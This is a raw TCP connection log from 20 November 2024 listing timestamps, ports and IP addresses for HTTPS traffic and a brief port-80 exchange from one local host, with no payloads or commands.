Nov 20, 2024 00:19:15.285578966 CET	49753	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.285620928 CET	443	49753	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.285685062 CET	49753	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.285801888 CET	49753	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.285814047 CET	443	49753	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.886425972 CET	443	49750	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.890156031 CET	443	49749	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.891798973 CET	49749	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.891846895 CET	443	49749	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.892086983 CET	49750	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.892165899 CET	443	49750	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.892613888 CET	49749	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.892631054 CET	443	49749	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.892939091 CET	49750	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.892954111 CET	443	49750	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.901312113 CET	443	49752	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.901755095 CET	49752	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.901771069 CET	443	49752	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.902183056 CET	49752	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.902189016 CET	443	49752	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.945465088 CET	443	49753	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.946023941 CET	49753	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.946059942 CET	443	49753	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.946588993 CET	49753	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.946597099 CET	443	49753	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.976376057 CET	443	49751	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.976902008 CET	49751	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.976931095 CET	443	49751	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.977427006 CET	49751	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.977433920 CET	443	49751	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.992577076 CET	443	49750	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.992891073 CET	443	49750	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.992985964 CET	49750	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.993057013 CET	49750	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.993057013 CET	49750	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.993096113 CET	443	49750	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.993122101 CET	443	49750	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.995661974 CET	49754	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.995706081 CET	443	49754	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.995774031 CET	49754	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.995913982 CET	49754	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.995934010 CET	443	49754	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.004491091 CET	443	49752	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.004550934 CET	443	49752	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.004600048 CET	49752	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.004713058 CET	49752	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.004723072 CET	443	49752	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.004731894 CET	49752	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.004736900 CET	443	49752	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.006912947 CET	49755	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.006961107 CET	443	49755	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.007044077 CET	49755	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.007169008 CET	49755	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.007184982 CET	443	49755	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.048791885 CET	443	49753	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.048871994 CET	443	49753	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.049038887 CET	49753	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.049259901 CET	49753	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.049259901 CET	49753	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.049298048 CET	443	49753	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.049313068 CET	443	49753	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.052293062 CET	49756	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.052347898 CET	443	49756	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.052478075 CET	49756	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.052728891 CET	49756	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.052746058 CET	443	49756	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.083811998 CET	443	49751	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.083992004 CET	443	49751	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.084108114 CET	49751	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.084650040 CET	49751	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.084650040 CET	49751	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.084680080 CET	443	49751	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.084696054 CET	443	49751	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.087393045 CET	49757	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.087425947 CET	443	49757	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.087523937 CET	49757	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.087697983 CET	49757	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.087708950 CET	443	49757	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.096199036 CET	443	49749	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.096970081 CET	443	49749	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.097028971 CET	49749	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.097064972 CET	49749	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.097074032 CET	443	49749	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.097089052 CET	49749	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.097095966 CET	443	49749	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.099550009 CET	49758	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.099591970 CET	443	49758	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.099693060 CET	49758	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.099801064 CET	49758	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.099824905 CET	443	49758	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.609256029 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:16.609357119 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:16.609544992 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:16.609971046 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:16.609989882 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:16.619538069 CET	49759	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:16.619568110 CET	443	49759	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:16.619668961 CET	49759	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:16.619992971 CET	49759	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:16.620001078 CET	443	49759	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:16.678112984 CET	443	49755	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.679002047 CET	49755	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.679028034 CET	443	49755	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.679474115 CET	49755	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.679478884 CET	443	49755	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.694288969 CET	443	49754	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.694843054 CET	49754	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.694860935 CET	443	49754	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.695508003 CET	49754	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.695514917 CET	443	49754	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.751198053 CET	443	49757	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.751996040 CET	49757	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.752022982 CET	443	49757	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.752505064 CET	49757	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.752509117 CET	443	49757	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.764105082 CET	443	49756	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.764616966 CET	49756	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.764646053 CET	443	49756	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.765249014 CET	49756	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.765254974 CET	443	49756	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.785128117 CET	443	49755	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.785197020 CET	443	49755	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.785314083 CET	49755	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.785586119 CET	49755	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.785586119 CET	49755	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.785603046 CET	443	49755	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.785612106 CET	443	49755	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.788722992 CET	49760	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.788822889 CET	443	49760	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.788935900 CET	49760	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.789089918 CET	49760	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.789124012 CET	443	49760	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.803251982 CET	443	49754	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.803323030 CET	443	49754	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.803378105 CET	49754	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.803544998 CET	49754	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.803565979 CET	443	49754	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.803584099 CET	49754	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.803591013 CET	443	49754	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.806639910 CET	49761	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.806684017 CET	443	49761	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.806761026 CET	49761	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.806916952 CET	49761	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.806929111 CET	443	49761	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.814137936 CET	443	49758	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.814611912 CET	49758	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.814621925 CET	443	49758	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.815237999 CET	49758	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.815243006 CET	443	49758	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.873200893 CET	443	49757	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.873280048 CET	443	49757	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.873346090 CET	49757	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.873600960 CET	49757	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.873615026 CET	443	49757	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.879184961 CET	49762	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.879244089 CET	443	49762	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.879329920 CET	49762	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.879678011 CET	49762	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.879698038 CET	443	49762	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.880158901 CET	443	49756	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.880233049 CET	443	49756	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.880325079 CET	49756	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.880424023 CET	49756	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.880424023 CET	49756	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.880445957 CET	443	49756	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.880458117 CET	443	49756	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.883460045 CET	49763	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.883505106 CET	443	49763	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.883589029 CET	49763	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.883909941 CET	49763	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.883928061 CET	443	49763	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.929449081 CET	443	49758	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.929508924 CET	443	49758	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.929554939 CET	49758	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.929789066 CET	49758	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.929789066 CET	49758	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.929816961 CET	443	49758	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.929830074 CET	443	49758	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.933442116 CET	49764	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.933537006 CET	443	49764	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:16.933628082 CET	49764	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.933938980 CET	49764	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:16.933970928 CET	443	49764	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.099150896 CET	443	49759	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:17.099291086 CET	49759	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:17.100944042 CET	49759	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:17.100950003 CET	443	49759	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:17.101212025 CET	443	49759	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:17.102806091 CET	49759	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:17.102838039 CET	49759	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:17.102883101 CET	443	49759	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:17.465455055 CET	443	49760	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.466178894 CET	49760	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.466222048 CET	443	49760	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.466610909 CET	49760	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.466618061 CET	443	49760	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.539414883 CET	443	49759	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:17.539501905 CET	443	49759	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:17.539563894 CET	49759	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:17.539947987 CET	49759	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:17.539957047 CET	443	49759	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:17.539984941 CET	49759	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:17.539988995 CET	443	49759	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:17.543802023 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:17.550307989 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:17.550462008 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:17.550641060 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:17.556950092 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:17.564256907 CET	443	49763	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.564706087 CET	49763	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.564735889 CET	443	49763	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.565113068 CET	49763	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.565119982 CET	443	49763	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.570807934 CET	443	49762	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.571206093 CET	49762	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.571235895 CET	443	49762	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.571754932 CET	49762	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.571760893 CET	443	49762	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.573092937 CET	443	49760	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.573165894 CET	443	49760	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.573230028 CET	49760	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.573370934 CET	49760	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.573390007 CET	443	49760	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.573404074 CET	49760	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.573410988 CET	443	49760	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.576122046 CET	49766	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.576157093 CET	443	49766	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.576241016 CET	49766	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.576360941 CET	49766	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.576378107 CET	443	49766	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.609857082 CET	443	49764	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.610742092 CET	49764	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.610773087 CET	443	49764	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.611171007 CET	49764	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.611182928 CET	443	49764	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.673259974 CET	443	49763	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.673345089 CET	443	49763	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.673429966 CET	49763	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.673553944 CET	49763	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.673553944 CET	49763	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.673600912 CET	443	49763	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.673633099 CET	443	49763	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.676944971 CET	49767	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.677036047 CET	443	49767	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.677118063 CET	49767	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.677393913 CET	49767	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.677449942 CET	443	49767	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.677861929 CET	443	49762	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.678018093 CET	443	49762	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.678085089 CET	49762	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.678158998 CET	49762	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.678189039 CET	443	49762	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.678206921 CET	49762	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.678215981 CET	443	49762	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.680907011 CET	49768	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.680963993 CET	443	49768	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.681039095 CET	49768	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.681304932 CET	49768	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.681328058 CET	443	49768	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.723624945 CET	443	49764	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.723712921 CET	443	49764	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.723798037 CET	49764	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.724009991 CET	49764	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.724046946 CET	443	49764	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.724080086 CET	49764	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.724096060 CET	443	49764	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.726887941 CET	49769	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.726994991 CET	443	49769	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.727103949 CET	49769	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.727302074 CET	49769	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.727345943 CET	443	49769	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.870830059 CET	443	49761	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.871745110 CET	49761	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.871808052 CET	443	49761	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.872438908 CET	49761	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.872462034 CET	443	49761	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.978821039 CET	443	49761	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.978965998 CET	443	49761	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.979053974 CET	49761	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.979193926 CET	49761	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.979193926 CET	49761	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.979237080 CET	443	49761	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.979263067 CET	443	49761	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.981717110 CET	49770	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.981777906 CET	443	49770	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:17.981853962 CET	49770	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.982141972 CET	49770	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:17.982165098 CET	443	49770	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.256655931 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.256724119 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.256774902 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.256863117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.256896973 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.256928921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.256941080 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.257473946 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.257503986 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.257529020 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.257538080 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.257566929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.257586002 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.257952929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.257997990 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.263801098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.263854027 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.263885975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.263904095 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.263921022 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.263966084 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.267236948 CET	443	49766	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.270147085 CET	49766	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.270179987 CET	443	49766	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.270591974 CET	49766	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.270602942 CET	443	49766	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.346373081 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.346441031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.346503019 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.351257086 CET	443	49768	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.351778984 CET	49768	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.351804972 CET	443	49768	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.352252960 CET	49768	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.352257967 CET	443	49768	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.360889912 CET	443	49767	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.361219883 CET	49767	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.361249924 CET	443	49767	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.361597061 CET	49767	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.361608028 CET	443	49767	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.379110098 CET	443	49766	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.379182100 CET	443	49766	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.379252911 CET	49766	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.379450083 CET	49766	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.379450083 CET	49766	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:18.379496098 CET	443	49766	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.379523039 CET	443	49766	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:18.382014990 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.382045984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.382082939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.382112026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.382150888 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.382245064 CET	49765	80	192.168.2.6	185.215.113.16
